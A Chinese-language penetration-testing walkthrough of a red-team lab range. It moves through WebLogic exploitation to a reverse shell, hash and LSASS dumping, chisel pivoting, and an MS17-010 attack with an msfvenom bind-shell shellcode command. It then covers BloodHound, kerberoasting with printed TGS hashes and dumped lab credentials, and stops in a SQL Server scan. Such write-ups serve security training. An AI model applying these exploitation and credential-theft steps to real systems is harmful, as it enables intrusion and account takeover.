前言:
本靶场是由"渗透攻击红队"所制作的一个靶场,看了看感觉效果十分不错,比较综合且有一定的思路扩展性.这里我们将会从别的一些角度来玩玩这个靶场,具体往下看。
源作者的wp:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ
Keep moving
1.本文采用 HTB/OSCP 的 Offensive style, 脱离CS, msf (msfvenom 不算)2.优先不走 EXP 路线3.靶场环境不能与实战相提并论4.且同时这是详细地记录了全过程针对于该靶场进行攻击.所以会有一些尝试与转换思路的部分.5.不喜勿喷
0x01 Enumeration
获取Target ip
![null b9e86b925e42f73cd9eb4ced8a1978ae.png](https://i-blog.csdnimg.cn/blog_migrate/f95f656e6b10ab11a525a9141202f499.png)
nmap
尝试RPC匿名登录
![null 3d8b14ec5a865f4cbb33863b616395ba.png](https://i-blog.csdnimg.cn/blog_migrate/c2647a1a0954c608bc8c583397115887.png)
smb 匿名共享
![null 347c1eb4dfdc1dd9e9ea3b096ed6013e.png](https://i-blog.csdnimg.cn/blog_migrate/dabb1b1dcd93f11ebbe197b61e521d60.png)
获取目标有没有IPv6
![null 59efb2cec730790b669ad91a42a9db22.png](https://i-blog.csdnimg.cn/blog_migrate/cfcc7c3cb7cd230857296a9b7342f160.png)
RPC获取内网ip (rpcmap ncacn_ip)
![null 890da212dcf006c39fe66060955dcdb0.png](https://i-blog.csdnimg.cn/blog_migrate/caa8cfdb8351e3deab819284e1fa9a57.png)
192.168.10.228
10.10.20.12
获取weblogic 版本
![null badd28a2cfd63e335c909de466d1c252.png](https://i-blog.csdnimg.cn/blog_migrate/9eecae83ab7c34ed5548a5c151abe1f7.png)
weblogic scan
0x02 Foothold
CVE-2019-2725 to get command execution
![null 53b60ab9249b7eadf334eee47c0c46b3.png](https://i-blog.csdnimg.cn/blog_migrate/7f8b307e1134b6b0e9815ebd24d25e0f.png)
whoami
![null 7a49b3761f877c900e9a21fd13a53c71.png](https://i-blog.csdnimg.cn/blog_migrate/6a865b20a9be24d67c66fe61178b66ba.png)
tasklist /svc resiult show me in wired way
探测出不出网
![null 641e73ee5ce53678503a225780091128.png](https://i-blog.csdnimg.cn/blog_migrate/e1a9b4806695acaf0cd64b8ecda2a00c.png)
Nishang
![null 1533d1db6a8fcfeafcfc60fd79651ccc.png](https://i-blog.csdnimg.cn/blog_migrate/8e7ed6b30dc1dac906186ec3cd978bb4.png)
![null fb187249d73d9757bf1b70264e488a25.png](https://i-blog.csdnimg.cn/blog_migrate/c87b3f810dccd7a67dc68412f97b8b0e.png)
Got reverse shell
![null c50533d59d3626ad6c892bad19eaeab4.png](https://i-blog.csdnimg.cn/blog_migrate/568ae2c28618945fe79f08d93d6b42c5.png)
![null c004ba01dd8b3767836035ae0a2da03d.png](https://i-blog.csdnimg.cn/blog_migrate/bba7c30657e94a11800cf90210f0ed3b.png)
whoami
![null 6ee05a2e061fc32a2fe6192ee317e40f.png](https://i-blog.csdnimg.cn/blog_migrate/edb6bb7a41e6862539555c65a8aeabd8.png)
IP configuration
发现有另外一个网段
![null 321cb1a0850f560ac6c01940b71e58ee.png](https://i-blog.csdnimg.cn/blog_migrate/638b3bd87aa6c94fbff428c0cde51fd1.png)
Enable winrm to get a better shell
![null f704c845b32c30585a8a54dcfb9c8ab9.png](https://i-blog.csdnimg.cn/blog_migrate/05bcd2e5bad1363ae8858591f4a1e32a.png)
Use reg save to dump hashes
![null 8aa1232cf28921afbdcacf8f865b5221.png](https://i-blog.csdnimg.cn/blog_migrate/3d90ab6ca2791ea19b81fb10920f45e7.png)
Kali box pop up a smb server
![null 78edbd714131b380bc276cdcfcc84048.png](https://i-blog.csdnimg.cn/blog_migrate/1552292db4f0b3d65a55e73b68e47a29.png)
Mount kali box share path
![null 94cea8e8f94d50ed183f3440b3b20a83.png](https://i-blog.csdnimg.cn/blog_migrate/ec8a07d01f2bd7d853fdf712dcbaff80.png)
Send it to me
![null 791fa8d1cdaa399fdcb16d122f9d4663.png](https://i-blog.csdnimg.cn/blog_migrate/8105d6aedcd9ee96d1565e3900d012a3.png)
Hash dump
![null 11ec82e539e83b01f277cd03dc0aeaea.png](https://i-blog.csdnimg.cn/blog_migrate/82f6dd7bd0484a7f31d5c79788f563f4.png)
ccef208c6485269c20db2cad21734fe7
Login into winrm as Administrator
![null 5c1ae8045df6aa4c1c71a52145e2d6b7.png](https://i-blog.csdnimg.cn/blog_migrate/e0cbc44613673059d8c7a82df02063b1.png)
flag
![null 7c27a6d3cc2cffa6640b58f53d5290cc.png](https://i-blog.csdnimg.cn/blog_migrate/016d3818b0f247fb163b8f9bf0460972.png)
Dump lsass
![null 9cb815545d7f6f5e07b4050457b68192.png](https://i-blog.csdnimg.cn/blog_migrate/c3d56292af8d6a55b25f0b8b7d660ec8.png)
![null cf600ea4a6e02342dd4fcfc6d27381bc.png](https://i-blog.csdnimg.cn/blog_migrate/bcca5b29687090ca3bc9eda01e2139fb.png)
![null 3bb52a3c6cc10816b986e68e797981e4.png](https://i-blog.csdnimg.cn/blog_migrate/09d13f52646429429d2a1e7f00f1d17f.png)
pypykatz
![null e7583616fabdc4e20a244b40e08cb4eb.png](https://i-blog.csdnimg.cn/blog_migrate/c62c57b69ddf394dc039291052e91b61.png)
But, I don't see any other credentials in dump file
![null 03fef428d6a10a66a22b3fa644d47b0a.png](https://i-blog.csdnimg.cn/blog_migrate/6fa50be51809cfacae0b2ef7379b5f62.png)
Weblogic password decryption: find out AES key
![null a7ef89b562cf26ded6083f889e12fd28.png](https://i-blog.csdnimg.cn/blog_migrate/5262a96ed2569cb347eb6158805b80dc.png)
{AES}1zzY2R1UMGFWfd1rAA92N2QljODSa8S16dJIsZZi/do=
Weblogic password decryption: decrypt with dat file
![null 429a6a0cd32d2647c6f3c9f0dd1ee6ce.png](https://i-blog.csdnimg.cn/blog_migrate/a912560b4f37942368ae6d9056ecb534.png)
![null 9f54291560e57b1a0dde197bd3a939f6.png](https://i-blog.csdnimg.cn/blog_migrate/5ef4dd19582063eb748381e6a12b2661.png)
![null 41316334d10f2b0594e8f7f367189d0b.png](https://i-blog.csdnimg.cn/blog_migrate/097cf27867ce84e3149db2abf60288c4.png)
Cleartext
weblogic123
Current credentials
administrator:ccef208c6485269c20db2cad21734fe7
weblogic:weblogic123
0x03 Lateral Movement
Find another machines
![null 060eb53c969565be59ba4ec50e09d2fb.png](https://i-blog.csdnimg.cn/blog_migrate/fff6d7f447d49858b1898ea045e48dd4.png)
10.10.20.7
Upload portscan.ps1
(当然这里你也可以选择挂代理)
![null a32e5bf3e9804f4e1e031dedd5268af4.png](https://i-blog.csdnimg.cn/blog_migrate/634b5b322e0e2acd9d1705c56492c577.png)
scan 10.10.20.7
![null 2e14bf5ae871524a79c87729e5fb40ba.png](https://i-blog.csdnimg.cn/blog_migrate/3f3198ce6bf35b9a9bd1e23060e04aed.png)
135,139,445,49152,49153,49154,49155,49156
pivot
![null 356a10ea29d9c0d8794092142e5470eb.png](https://i-blog.csdnimg.cn/blog_migrate/3bf3456a6be980672e20008e3fd6bec9.png)
upload chisel
![null c80e1ab09a6f2034f2c83ce69e852408.png](https://i-blog.csdnimg.cn/blog_migrate/60823b1456e1c3433a52b5d3e3aa6589.png)
Handled a proxy on port 8100
![null 45d4bc50fe15b6abeefbc8f678026f7d.png](https://i-blog.csdnimg.cn/blog_migrate/053d4ae71fed423ea65454cd80532354.png)
proxychain
![null 171e401aef9e7bd80bf0ef19f8dc7b09.png](https://i-blog.csdnimg.cn/blog_migrate/62cbcb0bf97f1c008a069232e56638cc.png)
nmap scan target over socks5
![null 9f3f2c1a10c57904526e751a09f4fef3.png](https://i-blog.csdnimg.cn/blog_migrate/9ef615a19f9e8742230d4f13c50943e3.png)
10.10.20.7 report
Next Target
work-7.redteam.red
0x04 Work-7 takeover
Try to login rpc with anonymous user
![null 2a0b79efd539ca1b2adc731510273502.png](https://i-blog.csdnimg.cn/blog_migrate/549376e77c0d57ea808bbdf75600e9f4.png)
Login smb shares with anonymous user
![null 7b4be063598352e14095d3416c2ffe4d.png](https://i-blog.csdnimg.cn/blog_migrate/6b7ceb4a81bfb0b8c7288018e4fc535b.png)
start to scan vulnerability of port 445
![null 09d50c79c4b375df8a631523d4885417.png](https://i-blog.csdnimg.cn/blog_migrate/033b9e58bf250205d20ad1aff1f29ed9.png)
Got ms17-010 vulnerable alert
![null 4b1f606c9451b7ceaf32bad8a13a874c.png](https://i-blog.csdnimg.cn/blog_migrate/f9854a6edca71bc27d975cc5708aab1f.png)
Something funny
用之前的密码直接shell了(但是这是作弊,不可取) 后面查看了一下,密码这块设计得不太合理
![null c28ef797f51219327dca8d96c04c2e17.png](https://i-blog.csdnimg.cn/blog_migrate/42926cb495e03fae19219a49e30947eb.png)
直接横向了
get system
回到刚刚,我们不选择作弊,查阅nmap结果,我们看到有ms17010
![null a474908960e439d6f7a3e2f7dd5f1eef.png](https://i-blog.csdnimg.cn/blog_migrate/f944b8dfe55375c9cbafe8aafa59a947.png)
MS17010 without metasploit
原先想用window/exec,每次攻击完都会炸,我这边测得不行... msfvenom bind shell
msfvenom -p windows/x64/shell_bind_tcp LPORT=9001 -f raw -o test.bin && cat sc_x64_kernel.b
in test.bin > sc_x64.bin
生成shellcode,并且merge with kernel header,然后send exploit,最后挂代理正向NC
Shell came back: 康康有没有域
![null e49ebf6661f6f1f06929cab602b775b5.png](https://i-blog.csdnimg.cn/blog_migrate/e818d37c54ab7dd5fbefda7eef8b9f98.png)
本地先加hosts
![null 2508832a20b047553b006a2b5bddfc5f.png](https://i-blog.csdnimg.cn/blog_migrate/df298886a4551cdf1569dcbead766b12.png)
看域控
![null f460fb0195f7a0c9d22c014a65f89f95.png](https://i-blog.csdnimg.cn/blog_migrate/455d3850c910755f91c410401ca01d9d.png)
获取域控ip
![null 63caefdc1cb5efb19657a5c0dcac34ed.png](https://i-blog.csdnimg.cn/blog_migrate/95d864dc8dc3545278d2d7c3756ff6ef.png)
查看本机ip,有另外一层网络: 10.10.10.0/24
![null 14c287bb623888f79173db4c41a4290c.png](https://i-blog.csdnimg.cn/blog_migrate/3d90a8f706529293bc5d27bb6dd86bdb.png)
File Transfer in work-7
因为有一层代理的原因,所以下载win7的东西比较麻烦,win7从我这拿东西也麻烦 回到入口机器,添加一个xiaoli,并且加入管理员组(你可以转B64传上去,也可以开匿名共享,随你喜欢)
![null dc8df478d2f97406d5164c9d54b438e4.png](https://i-blog.csdnimg.cn/blog_migrate/41c767a29c0c35c1ddf212d48e3a9994.png)
wrok-7这边直接挂载入口机器的C盘
![null fedc5039ee686f6c0204b150f235ac2b.png](https://i-blog.csdnimg.cn/blog_migrate/ddd0a07f61d87b9b7938da5bcfa58c73.png)
Hash dump
当前work-7机器的system有点智障,虽然有个seimpersonateprivilege,但是我也能加用户(如果你知道当前system的权限发生了什么,麻烦私聊告诉我一下)
![null 506c099afd5e0f06cdc1b377b403c2f5.png](https://i-blog.csdnimg.cn/blog_migrate/abc48ec66fa23b3e4c749de570de502b.png)
添加 xiaoli 用户,并且加入管理员组
![null 9df12be61962f1157dc3a1b8772f1061.png](https://i-blog.csdnimg.cn/blog_migrate/1c2c7be5533f70668fdbeae6d8d0b49e.png)
添加上的用户没有显示pwned,非常奇怪,那也无妨,只是没有更好的 shell 而已
![null edb763c696a8536c4c4e12f4de2e495d.png](https://i-blog.csdnimg.cn/blog_migrate/d235e138c717ae1df01e448c46c86dae.png)
runas 登录上创建的xiaoli用户,执行命令并且写到C:\nani.txt
![null bbd8e503b949fbd3c7b8dd6a5852e261.png](https://i-blog.csdnimg.cn/blog_migrate/fcf46f9823ac54c6ae8d58b785cf54ac.png)
查看C:\nani.txt,发现创建的用户privilege比现在多(对比分明)
![null 41a89764d50c93f452b772cd650d20f6.png](https://i-blog.csdnimg.cn/blog_migrate/50ace3c7b79b3a8ea1d32c6500d47c2b.png)
Hash dump with runas
![null de6dd36f4dad50851d7d2bde60e1c017.png](https://i-blog.csdnimg.cn/blog_migrate/cbff258b5f77421d098ba953df03266c.png)
![null 8cb98ade08591351bf6e838d9b7b5380.png](https://i-blog.csdnimg.cn/blog_migrate/5011bbb028c0ad19dd650ad92de7e803.png)
放回挂载的共享磁盘
![null 7d0c3badcaf292baaf5a47f3d578280f.png](https://i-blog.csdnimg.cn/blog_migrate/4d266d16ad2f29b44d5b1b1d46771aa3.png)
接着再取回到kali本地
![null e7c778537147de067f73c02c02e3653a.png](https://i-blog.csdnimg.cn/blog_migrate/237ed2b7285387855ebada1307ee0c42.png)
Got hashes (图中框错地方了)
![null 744342a410355f636b293d02230a158d.png](https://i-blog.csdnimg.cn/blog_migrate/67a97864b64c418b691f09484fa87a29.png)
[*] Target system bootKey: 0x6f92d265d06097e1615a7c355022bc9f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e91d2eafde47de62c6c49a012b3a6af1:::
john:1000:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
xiaoli:1036:aad3b435b51404eeaad3b435b51404ee:e91d2eafde47de62c6c49a012b3a6af1:::
[*] Dumping cached domain logon information (domain/username:hash)
REDTEAM.RED/saul:$DCC2$10240#saul#38df64c20e0fdadc85a421815ed5b011
REDTEAM.RED/Administrator:$DCC2$10240#Administrator#1ca30d7ae7506e6ca094794f8167f1e4
[*] Dumping LSA Secrets
其实可以使用进程注入,注入到有域凭据用户的进程,然而并没有
Dump lsass
不太死心,dump lsass康康
![null 2c8bffc72bf6a68108df07d2b2c3611a.png](https://i-blog.csdnimg.cn/blog_migrate/89246882f356fe8339027c51714559aa.png)
取回本地,minidump方式解开
![null f1d8ccea1d0b84d877c0a84cc35c7663.png](https://i-blog.csdnimg.cn/blog_migrate/7c8bb859c0df828a1b1b077cf3206a3c.png)
无其他用户了,顺便机器账户顺走
![null 266c564dd23fe1a13fc7516c7446e755.png](https://i-blog.csdnimg.cn/blog_migrate/b8bc947b2d47e26f63a41f8e595ebe84.png)
![null d553af35cc00b93292a10886e290e4fc.png](https://i-blog.csdnimg.cn/blog_migrate/fadcf15465d71b42518380521711fab9.png)
redteam.red\work-7$:f085f13639b3de3c78de926c0719d36d
Something makes me confused
这个应该算work-7的flag了,来saul用户桌面
![null 7ac7c2f5bf03d6ff653dca2946d24982.png](https://i-blog.csdnimg.cn/blog_migrate/601cb75d9e0614bc52ea336b50951f8d.png)
![null e43615e672d06adb8951a867d90dc35f.png](https://i-blog.csdnimg.cn/blog_migrate/e8a855cdb080cc4c3a5600a45cb1136d.png)
txt里面说john是本地管理员,但是算了(可能是靶场环境问题吧....)
![null 764d8690508ec38a90ab9dac784d8d0e.png](https://i-blog.csdnimg.cn/blog_migrate/52c349988755a0e415f2b66f881151c6.png)
0x05 AD enumeration
AD informaton gathering
system 请求网络资源用的是机器账户,直接康康域内基本信息
![null 510998d7037f5a24ba25a957ef150b18.png](https://i-blog.csdnimg.cn/blog_migrate/1ad2a87030432eed50d44686cd4e7d13.png)
![null 795be194c379ae4bc20a6ee32bb49d0c.png](https://i-blog.csdnimg.cn/blog_migrate/13d5c6623f253cad3443255be0607c48.png)
域控
![null c46f3eef9da9b785048951c49e58c83b.png](https://i-blog.csdnimg.cn/blog_migrate/dbda590bb9b524bad5cfe44c0b6af37d.png)
OWA.redteam.red 10.10.10.8
域内两台机器,一台域控,算上自己,分别看IP
![null 5094f7b07eadbe1f62fc317ae76f3e65.png](https://i-blog.csdnimg.cn/blog_migrate/ebe27806551cee08e3469b08c0da34d7.png)
![null dd536819313dfaf7bb8a1ead998b079f.png](https://i-blog.csdnimg.cn/blog_migrate/23e656cda6055446d83be309a574cc13.png)
work-7.redteam.red 10.10.10.7
SQLSERVER-2008.redteam.red 10.10.10.18
OWA.redteam.red 10.10.10.8
基本操作
![null 2c54f34fb2f1c3145e37a0c9bff8e937.png](https://i-blog.csdnimg.cn/blog_migrate/fd5a3e4cb5fc56e8a05feeb23a36f016.png)
net group "domain users" /domain
The request will be processed at a domain controller for domain redteam.red.
Group name Domain Users
Comment
Members
-------------------------------------------------------------------------------
adduser Administrator apt404
gu krbtgt mail
saul saulgoodman SM_4c09f7e38ef84c22b
SM_645db7f160894c7fb SM_958e768f5a2e4c9fb SM_dfb6b69905864ca19
sqlserver
The command completed successfully.
看域信任,无子域
![null 2ea91901f48c67b0bc0417460581b8e0.png](https://i-blog.csdnimg.cn/blog_migrate/ffbbfcc493eded2d2ced1c9393d7d9a6.png)
1 当然你也可以用powerview做信息收集,这边就不用了 2 实战的话,sharphound一般被杀得很严重,你可以远程执行bloodhound (ldapsearch with convertor),但是这边原先想直接上sharphound
看上去只有DotNET 3.5,目前只有sharphound2支持,sharphound2得弄一堆环境,懒了,看来只能远程bloodhound了
![null 588f96c3afd23329064a4dc0883321fd.png](https://i-blog.csdnimg.cn/blog_migrate/48f40feb520033fd7e2594a1e754f3f2.png)
Multi-level pivoting (No Frp)
回到入口机器,把原来的chisel client关了,重新开一个带端口转发的(此时work-7会断开,小问题,重新打回去)
![null 172e9d7432e86fd4ef6b5f914b692bfe.png](https://i-blog.csdnimg.cn/blog_migrate/7af6c420ec2244e2b2cc1d0a5ab52ff9.png)
work-7 开多一个shell,上面port 9002,下面port 9001,并且上传 chisel 到 work-7
![null 0a2a31eeef098e43cc4c6732a8e3a6a5.png](https://i-blog.csdnimg.cn/blog_migrate/6df7ff849f336f59105bdebf008b342d.png)
接着,入口机器再开一个server(reverse proxy)
![null 84932acaab99554bea11b3fc1f79f0a6.png](https://i-blog.csdnimg.cn/blog_migrate/76769e5d928c7c8e8c4b7709df8c14c1.png)
回到work-7那台机器,回连到入口机器
![null 860feca1ea013688c8b2a98229f51037.png](https://i-blog.csdnimg.cn/blog_migrate/47357999db736a931455518e316da67a.png)
此时,本地访问8001就直接访问第二层了
![null 69bc6194bed920e4534094c46d9ee28e.png](https://i-blog.csdnimg.cn/blog_migrate/3b26a4d668ed49e72ffaf1ba08f87c4f.png)
修改proxy配置
![null ec1ff978b80f5058ffcef14e1092ad3a.png](https://i-blog.csdnimg.cn/blog_migrate/a74e429cb1be6cad104d8ff67bdf726b.png)
CME用机器账户登录一下域控的 LDAP 服务 ,已经到达了
![null f3d0348189937735bbca3706ba7f298a.png](https://i-blog.csdnimg.cn/blog_migrate/986a1cebbaf0ffa7ff6ba9ce89804e4f.png)
本地加hosts
![null 0f444ec3f3c054298ff2ffbdcceca10d.png](https://i-blog.csdnimg.cn/blog_migrate/a0f723e968f11a7a3e15feec6346b206.png)
Bloodhound result analysis
Run bloodhound remotely
![null 8599b8c52db1e69c29c5441be392e3e1.png](https://i-blog.csdnimg.cn/blog_migrate/69f892bfbc5732c278c18d4b40f30c8a.png)
Import results
![null 0f90045ebde043b35f71f52576650140.png](https://i-blog.csdnimg.cn/blog_migrate/4a12c10497ba0711488676c3354bd1e1.png)
Shortest path to domain admins
![null 63101a70f13432a71b71ba85c8d1b1db.png](https://i-blog.csdnimg.cn/blog_migrate/e5a3df0b2674ee1878a6a6d369da8fef.png)
最短路径到Sqlserver用户
![null 4222599fb222c23c6fb9e96b2f03ebad.png](https://i-blog.csdnimg.cn/blog_migrate/8237906be575c98671bd982c87685a16.png)
SPN Accounts
![null 6560a25e9f9fcae2bb70c1ab9ded5e96.png](https://i-blog.csdnimg.cn/blog_migrate/a9e89e1c15e0d5df9fd4a202ea11e5ea.png)
获取 AS-REP Roastable users,并没有
![null 9b094688c7ed126ed544f5be2a38a099.png](https://i-blog.csdnimg.cn/blog_migrate/988a401873d7454989ebd8ded3d70d7e.png)
![null 9a137ba0547459abf4e22f305b902826.png](https://i-blog.csdnimg.cn/blog_migrate/8074ac108faf66178b532502b0dee601.png)
kerberoasting attack
$krb5tgs$23$*sqlserver$REDTEAM.RED$redteam.red/sqlserver*$859542523a2e592829568bcf4b22adc7$bd544d4ce42f5c024184b2d61c42c8b0131edf5e161f36faf6cf5c9fea367c77907faca606bcb2d7ed5af99afeefef0fe1a6212639874834f1ea9226bd7c092a608b60f19b9442f64291c6c0bc8fa49ec4078ff597fdd69d5699ca1e9412cdd436c27977088ad8fb4863c8aabe4ccc080bebe8167d7907b7829f95aefdadb1a39e7ba276ecda0910bc363e3a45da7cbdec015487a9fff6dc57388855b71fb50536192cf22ecb341a1f9ae556b2a4fd52f52fd83cb9df27eefd0d54c22594bd41425fc30265789e26790e36066a67cfcf06343c43042940b97f5d659ef3fdbd13dd4db2199749190e1f9fb68c10116eb9889d54c1fc32c26d4f8e3e8b4075be4d09c30951550a611bbda43511c2d354e88c1eab79328fc4a79edd7b0adbaeeab175ce35c664935a58b25a2cb35c4a86c4f801678dbe9ae4b4c73af61998b063f1305a012164b5cbf556015b4d496dcf9d986e8c7d2ac70ade3a5103da73431e60b2b61f7821ead30734b6775c49ca895742f351bcfecad248e67ec3693466eccd30f4765ed083af1ecfec2d87e2859e85f84e3e941d821dfb7e5521aee38d709bcd541c6a1772a4c79e6fb5a55afcaedff6668a5667729473c801087725f30de6e2998f960d933e088febf7090f2fea71cf15d93850147d1d2e03db8d455ddba5af732128a7f852e52dc18bc9a70b9e9d9abb8e614206e2c3e728c20340cc0832f8297b0e8d72693cbcac8355da06c437dee968adea17338e4b934df96ff98b459cb78cd960015ef5295b62817ffe7a13121b674a3fb97dbbbcc1007397862dbd72a8c1047a9da618d3b96e444b0ce1868466ab91ffaadb2b7e3a81f35b343afa3396272dbaa8c8305414872ba668a206b326ce55213c5c50c551cd816ad6eed9739a009d088bb872e3853fffa7e3eaa982139587fa32bd06ef8b737d29cdc082a9a173989c8617917b3facb1e36cedd8774aa0c1756e76351162a6e3bfe4f2fa6bb9e88ae2c86fccfbc90050d867725b4f266048f7e6e9d1c296504c661883fac459f4e91e08dfc0bfd0c211541c16cb5e9ec30dffe99e326e7b3f8459d35b03a30847bd11a46e7ad77e096cce2a5a3cda1103615e307cfcaeffbb3febf795db58c16ecdfeeaa6fc003f308021594965f148f1163c739ad942050778cbe6e478114479c0cf69495c0f4831dea117ea9b90956c13a07edfcdf4c25d05087059106c11c195bc0412ad5dc8bc6b7159140c675f3e
$krb5tgs$23$*saulgoodman$REDTEAM.RED$redteam.red/saulgoodman*$7d30d61df9b0fd9ca713c72ef6588b24$6dde0c314f9935c81d5a448d041ecdb45d5b8eebe88c480c7862a2932da02c655857f3b6122dfce0ea886b7835c6d8adde421eb3e5a960a10f01fa4789ba45e585975b54b7f2407bc61f839f8e6c0273cb58973da3d0dce43ea3a875e7fd6fa054016eb816fdf257f6e94535943a0d7cb13c4932ec3f661daef56d61beb0340a21582c578e4ce6c1839b493444e03f11ea79d7db8d4b74b7750cf9cc8881f0825a04959083ed72d9b17c0dc00ae28b04f930a66c995bff65e8cfe8e5eb1863a7d5a1536888df99a55febb1dc0cc80a099304feb6b252d8a7bafdf23a139abe7c03daeed388de81aaa7d9456adb355827420b9996d2e2e8d3e7180788def64c76aa15a319f486d94154cdc1ee888b67fd5058177fe123d48e67489e48ba860d5e79152082537213ccbfa90372f20a66834f9c2d6ef786a63943d00c7eb5665e257c5e06e84979a5f9a9c532e2a8912e44f1e226b68db269d367456b13b35cbe1caceb76dc9b19ff5e805260df270993cd8dd84d17574f6d20075c3ceedd070e57311d7b2e10ec4d0c1e700da04c43c4761e37af15a2c2145f42ccec3d66c992f153928c6d906d3fcec038e4d81211bccac30ed729a31c02d009c055de21d528e491aa805cd2f487eaefad4aeecc8b9db72902ef092dd8de0a3f42b8098aa0de970dce4b682d0f54c7edeb492af23d3062d614da5cf7ef875dd09000d14a3fcecbee4197902bfae6cecd94820d3b2217d443795489581d100171bfb5b95948eb836b76097cc9b60b6adb97647e465c0e6bb571af2fe332e92cfb35b56a4d281adf831dc13c1c5886f245085372d463a15dae82a2748717783d4c3e9d163c022ede2862a4b306603e77b4245aa5b7fd5ce3e70c20e466828a4b4583701b41f917e287c1cdb9f72d1c14918861b7d3c1610e2fbd5c7169e764e5311e1083f47b82b37cfba3bdc94fee39ef5d65649871287b6e08f8c03942ae01e727e793bf70d793761c78732d80c00c22365642258630cb237dd348b7ea2ab408420583f5786f179967b47aab39cf497159ec80f06226b74b2d150a85d956ab3db79a605c59c03a5b97c8772f584b15a94af23d9ba9d9cd6cbc78a56af19ae22a8c2dda248d4a53b9dc48a7d040172c73bb3f887c6f188dc83d18a6925d019946d8675efbd848132ee35ad0616177fde20738d7e9765ff21cd2a4f092b07acbbcf91b9eed8d5fb12a9a4da07c5546c3dab03424888ec9a42616d0
不幸的是,我没有爆出来
![null aa5087aa0c088ae7de2ad44fced8d14f.png](https://i-blog.csdnimg.cn/blog_migrate/00a38ad025cfa17c60c4e623ad4613bb.png)
当然如果你的字典有的话,那你可以直接跳到约束委派了
![null 316470d099d9bef824f73cadb7def471.png](https://i-blog.csdnimg.cn/blog_migrate/7432dcc9e924d6c8dd702bb0d7e7a2e6.png)
换个思路
0x06 sqlserver-2008 takeover
前面提到域内还有另外一台机器,Nmap 扫描 sqlserver-2008
![null 11a73341eec68584403e570e5cc6f9cb.png](https://i-blog.csdnimg.cn/blog_migrate/d8db9f33feeda330d43ad45a323d0d28.png)
sqlserver-2008报告
# Nmap 7.92 scan initiated Thu Nov 11 13:16:29 2021 as: nmap -sC -sV -sT -Pn -oA sqlserver/nmap -vvv 10.10.10.18
Nmap scan report for sqlserver-2008 (10.10.10.18)
Host is up, received user-set (1.0s latency).
Scanned at 2021-11-11 13:16:29 HKT for 1132s
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2008 10.00.1600.00; RTM
|_ssl-date: 2021-11-11T05:36:06+00:00; +45s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-11-09T08:18:34
| Not valid after: 2051-11-09T08:18:34
| MD5: 8aaf 87ec b5a3 8e9f c52f 80c5 4445 8e06
| SHA-1: c677 90ba d6fe 6da6 29de dae6 0844 49ce 5c29 2f88
| -----BEGIN CERTIFICATE-----
| MIIB+zCCAWSgAwIBAgIQYGTu9bynvLtNoEYZlMAoWTANBgkqhkiG9w0BAQUFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjExMTA5MDgxODM0WhgPMjA1MTExMDkwODE4MzRaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAl9gm+X/dC/ip
| WnxqzLJQThFXQvm+aUyEoYuf3ZhNZh/ogz/QYXP7yMmOYbaSlScb/kaj2sloI1ik
| 3jJtVWvEpgV9bZQW5Eh2Hr/YKSTErpis+4+9N4afMopHQRRXdf+nnIQFXkE5wNXd
| 021lhqggGPRVBv8iNf/jH5xvtkqFyK8CAwEAATANBgkqhkiG9w0BAQUFAAOBgQA7
| R9VTz2kwKwohCVgU4/nYH8VcuQazt8qA5/agD0b3iDzr3bPszKUqG3wLZc+sq1h6
| OWE7oPCMyfb4zSWFGqw3nFQ7xOs24RHYFNO3LngrLkwrhJmLGwIPdt5ELOv1n74H
| Hr46INlupWAYN/Ph+9i7PvZ1beLMh8c0wTCOkjwwWQ==
|_-----END CERTIFICATE-----
| ms-sql-ntlm-info:
| Target_Name: REDTEAM
| NetBIOS_Domain_Name: REDTEAM
| NetBIOS_Computer_Name: SQLSERVER-2008
| DNS_Domain_Name: redteam.red
| DNS_Computer_Name: sqlserver-2008.redteam.red
| DNS_Tree_Name: redteam.red
|_ Product_Version: 6.1.7601
2383/tcp open ms-olap4? syn-ack
49152/tcp open msrpc syn-ack Microsoft Windows RPC
49153/tcp open msrpc syn-ack Microsoft Windows RPC
49154/tcp open msrpc syn-ack Microsoft Windows RPC
49155/tcp open msrpc syn-ack Microsoft Windows RPC
49156/tcp open msrpc syn-ack Microsoft Windows RPC
49157/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 57750/tcp): CLEAN (Couldn't establish connection (Nsock connect failed immediately))
| Check 2 (port 12518/tcp): CLEAN (Couldn't establish connection (Nsock connect failed immediately))
| Check 3 (port 11000/udp): CLEAN (Timeout)
| Check 4 (port 8803/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: -1h35m17s, deviation: 3h34m40s, median: 43s
| smb-os-discovery:
| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: sqlserver-2008
| NetBIOS computer name: SQLSERVER-2008\x00
| Domain name: redteam.red
| Forest name: redteam.red
| FQDN: sqlserver-2008.redteam.red
